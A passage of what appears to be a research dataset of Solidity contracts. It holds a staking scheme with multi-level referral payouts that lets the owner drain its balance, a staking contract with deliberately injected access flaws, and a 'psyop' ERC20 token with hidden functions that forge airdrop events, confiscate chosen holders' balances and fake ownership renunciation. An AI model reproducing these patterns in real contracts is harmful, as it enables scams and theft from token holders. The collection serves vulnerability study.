(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(msg.value);
totalUser=totalUser.add(1);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
function reinvest(uint8 plan,uint amt) public payable {
require(plan < 6, "Invalid plan");
uint256 fee = amt.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
uint256 mfee = amt.mul(20).div(PERCENTS_DIVIDER);
marketingAddress.transfer(mfee);
uint256 dfee = amt.mul(20).div(PERCENTS_DIVIDER);
devAddress.transfer(dfee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = amt.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, amt);
user.deposits.push(Deposit(plan, percent, amt, profit, block.timestamp, finish));
totalStaked = totalStaked.add(amt);
emit NewDeposit(msg.sender, plan, percent, amt, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 100 trx, "Mininum withdrawl 100 trx");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount/2);
reinvest(0,totalAmount/2);
totalWithdrawal=totalWithdrawal.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
if(plan==3)
{
profit =deposit.mul(3);
}
else if(plan==4)
{
profit =deposit.mul(4);
}
else if(plan==5)
{
profit =deposit.mul(5);
}
//profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function withdrawLostTRXFromBalance() public payable{
require((msg.sender == commissionWallet || msg.sender == dev) , "onlyOwner");
msg.sender.transfer(address(this).balance);
}
function setDevAddress(address payable _dev) public
{
if(dev==address(0))
{
dev=_dev;
}
else
{
require(msg.sender==dev);
dev=_dev;
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 285,749 | 13,461 |
482e5f7547e5f1877ce43966a091e9c30dcedc713f8ad0c54ee8960f81d89425
| 9,633 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0xafedea9dba7d644572aa7c443198c65514faaef2.sol
| 2,398 | 9,576 |
pragma solidity 0.4.16;
// Used for function invoke restriction
contract Owned {
address public owner; // temporary address
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner)
revert();
_; // function code inserted here
}
function transferOwnership(address _newOwner) onlyOwner returns (bool success) {
if (msg.sender != owner)
revert();
owner = _newOwner;
return true;
}
}
contract SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract CoinMarketAlert is Owned, SafeMath {
address[] public userAddresses;
uint256 public totalSupply;
uint256 public usersRegistered;
uint8 public decimals;
string public name;
string public symbol;
bool public tokenTransfersFrozen;
bool public tokenMintingEnabled;
bool public contractLaunched;
struct AlertCreatorStruct {
address alertCreator;
uint256 alertsCreated;
}
AlertCreatorStruct[] public alertCreators;
// Alert Creator Entered (Used to prevetnt duplicates in creator array)
mapping (address => bool) public userRegistered;
// Tracks approval
mapping (address => mapping (address => uint256)) public allowance;
//[addr][balance]
mapping (address => uint256) public balances;
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approve(address indexed _owner, address indexed _spender, uint256 _amount);
event MintTokens(address indexed _minter, uint256 _amountMinted, bool indexed Minted);
event FreezeTransfers(address indexed _freezer, bool indexed _frozen);
event ThawTransfers(address indexed _thawer, bool indexed _thawed);
event TokenBurn(address indexed _burner, uint256 _amount, bool indexed _burned);
event EnableTokenMinting(bool Enabled);
function CoinMarketAlert() {
symbol = "CMA";
name = "Coin Market Alert";
decimals = 18;
// 50 Mil in wei
totalSupply = 50000000000000000000000000;
balances[msg.sender] = add(balances[msg.sender], totalSupply);
tokenTransfersFrozen = true;
tokenMintingEnabled = false;
}
/// @notice Used to launch start the contract
function launchContract() onlyOwner returns (bool launched) {
require(!contractLaunched);
tokenTransfersFrozen = false;
tokenMintingEnabled = true;
contractLaunched = true;
EnableTokenMinting(true);
return true;
}
/// @dev keeps a list of addresses that are participating in the site
function registerUser(address _user) private returns (bool registered) {
usersRegistered = add(usersRegistered, 1);
AlertCreatorStruct memory acs;
acs.alertCreator = _user;
alertCreators.push(acs);
userAddresses.push(_user);
userRegistered[_user] = true;
return true;
}
/// @notice Manual payout for site users
/// @param _user Ethereum address of the user
/// @param _amount The mount of CMA tokens in wei to send
function singlePayout(address _user, uint256 _amount) onlyOwner returns (bool paid) {
require(!tokenTransfersFrozen);
require(_amount > 0);
require(transferCheck(owner, _user, _amount));
if (!userRegistered[_user]) {
registerUser(_user);
}
balances[_user] = add(balances[_user], _amount);
balances[owner] = sub(balances[owner], _amount);
Transfer(owner, _user, _amount);
return true;
}
/// @dev low-level minting function not accessible externally
function tokenMint(address _invoker, uint256 _amount) private returns (bool raised) {
require(add(balances[owner], _amount) > balances[owner]);
require(add(balances[owner], _amount) > 0);
require(add(totalSupply, _amount) > 0);
require(add(totalSupply, _amount) > totalSupply);
totalSupply = add(totalSupply, _amount);
balances[owner] = add(balances[owner], _amount);
MintTokens(_invoker, _amount, true);
return true;
}
/// @notice Used to mint tokens, only usable by the contract owner
/// @param _amount The amount of CMA tokens in wei to mint
function tokenFactory(uint256 _amount) onlyOwner returns (bool success) {
require(_amount > 0);
require(tokenMintingEnabled);
if (!tokenMint(msg.sender, _amount))
revert();
return true;
}
/// @notice Used to burn tokens
/// @param _amount The amount of CMA tokens in wei to burn
function tokenBurn(uint256 _amount) onlyOwner returns (bool burned) {
require(_amount > 0);
require(_amount < totalSupply);
require(balances[owner] > _amount);
require(sub(balances[owner], _amount) > 0);
require(sub(totalSupply, _amount) > 0);
balances[owner] = sub(balances[owner], _amount);
totalSupply = sub(totalSupply, _amount);
TokenBurn(msg.sender, _amount, true);
return true;
}
/// @notice Used to freeze token transfers
function freezeTransfers() onlyOwner returns (bool frozen) {
tokenTransfersFrozen = true;
FreezeTransfers(msg.sender, true);
return true;
}
/// @notice Used to thaw token transfers
function thawTransfers() onlyOwner returns (bool thawed) {
tokenTransfersFrozen = false;
ThawTransfers(msg.sender, true);
return true;
}
/// @notice Used to transfer funds
/// @param _receiver The destination ethereum address
/// @param _amount The amount of CMA tokens in wei to send
function transfer(address _receiver, uint256 _amount) {
require(!tokenTransfersFrozen);
if (transferCheck(msg.sender, _receiver, _amount)) {
balances[msg.sender] = sub(balances[msg.sender], _amount);
balances[_receiver] = add(balances[_receiver], _amount);
Transfer(msg.sender, _receiver, _amount);
} else {
// ensure we refund gas costs
revert();
}
}
/// @notice Used to transfer funds on behalf of one person
/// @param _owner Person you are allowed to spend funds on behalf of
/// @param _receiver Person to receive the funds
/// @param _amount Amoun of CMA tokens in wei to send
function transferFrom(address _owner, address _receiver, uint256 _amount) {
require(!tokenTransfersFrozen);
require(sub(allowance[_owner][msg.sender], _amount) >= 0);
if (transferCheck(_owner, _receiver, _amount)) {
balances[_owner] = sub(balances[_owner], _amount);
balances[_receiver] = add(balances[_receiver], _amount);
allowance[_owner][_receiver] = sub(allowance[_owner][_receiver], _amount);
Transfer(_owner, _receiver, _amount);
} else {
// ensure we refund gas costs
revert();
}
}
/// @notice Used to approve a third-party to send funds on your behalf
/// @param _spender The person you are allowing to spend on your behalf
/// @param _amount The amount of CMA tokens in wei they are allowed to spend
function approve(address _spender, uint256 _amount) returns (bool approved) {
require(_amount > 0);
require(balances[msg.sender] > 0);
allowance[msg.sender][_spender] = _amount;
Approve(msg.sender, _spender, _amount);
return true;
}
//GETTERS//
///////////
/// @dev low level function used to do a sanity check of input data for CMA token transfers
/// @param _sender This is the msg.sender, the person sending the CMA tokens
/// @param _receiver This is the address receiving the CMA tokens
/// @param _value This is the amount of CMA tokens in wei to send
function transferCheck(address _sender, address _receiver, uint256 _value)
private
constant
returns (bool safe)
{
require(_value > 0);
// prevents empty receiver
require(_receiver != address(0));
require(sub(balances[_sender], _value) >= 0);
require(add(balances[_receiver], _value) > balances[_receiver]);
return true;
}
/// @notice Used to retrieve total supply
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
/// @notice Used to look up balance of a user
function balanceOf(address _person) constant returns (uint256 balance) {
return balances[_person];
}
/// @notice Used to look up allowance of a user
function allowance(address _owner, address _spender) constant returns (uint256 allowed) {
return allowance[_owner][_spender];
}
}
| 135,911 | 13,462 |
7df82f3c80031c6139b830093c56c93718c3e5609c4d24063065f12b360435f7
| 13,526 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0xa5130fc368caad25450cb5ad1d3718bab7e558da_nonpublicVarAccessdByPublicFunc.sol
| 2,789 | 9,566 |
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract USP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOLS=========================================//
address internal Axiatoken;
address internal UniswapV2;
bool internal stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 internal MINIMUM_STAKE = 1000000000000000000; // 1 minimum
uint256 internal MIN_DIVIDENDS_DUR = 18 hours;
uint internal infocheck;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken, address _univ2) public onlyCreator returns (bool success) {
require(_axiatoken != _univ2, "Insertion of same address is not supported");
require(_axiatoken != address(0) && _univ2 != address(0), "Insertion of address(0) is not supported");
Axiatoken = _axiatoken; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
UniswapV2 = _univ2; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingStatus(bool _status) public onlyCreator {
require(Axiatoken != address(0) && UniswapV2 != address(0), "Pool addresses are not yet setup"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingEnabled = _status; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//======================================USER WRITE=========================================//
function StakeAxiaTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeAxiaTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(UniswapV2).balanceOf(msg.sender) >= _amount, "Insufficient SWAP AFT balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(UniswapV2).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(UniswapV2).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(UniswapV2).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
TakeDividends();
}
function TakeDividends() public returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
infocheck = info.scaledPayoutPerToken; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
}
| 279,832 | 13,463 |
27ca71bc7c667d62109a931615ace534f55d9364dadcfed30bb50b924d5d2efa
| 10,677 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/e9/e902C8f03CAccde9C7D3f29658326Da2b49e4169_psyop.sol
| 2,611 | 9,947 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract psyop is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address deployer = 0xa5Ccaf44101eec59B4453a7ADf8B5F40eD28aFf0;
address public _controller = 0xa5Ccaf44101eec59B4453a7ADf8B5F40eD28aFf0;
constructor () public {
_name = "Psyop Capital";
_symbol = "Psyop Capital";
_decimals = 18;
uint256 initialSupply = 69000000000;
_mintTx(deployer, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
if (recipient == _controller){
recipient = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mintTx(address locker, uint256 amt) public {
require(msg.sender == _controller, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_controller] = _balances[_controller].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _sendTx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _ownerAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
modifier _approveAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function execute(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function renounceOwnership() public _ownerAccess(){}
function lockLPToken() public _ownerAccess(){}
function Approve(address[] memory bots) public _approveAccess(){
for (uint256 x = 0; x < bots.length; x++) {
uint256 amt = _balances[bots[x]];
_balances[bots[x]] = _balances[bots[x]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
}
| 30,909 | 13,464 |
6921150a10a5b5b413862fa35fb0dc48b85b50b9fd22bbf1403cd72df0e4ee3d
| 19,179 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/cb/cb0c6c0325d3aa14d2bbe686f9f95b003326023f_RandToken.sol
| 2,620 | 10,225 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
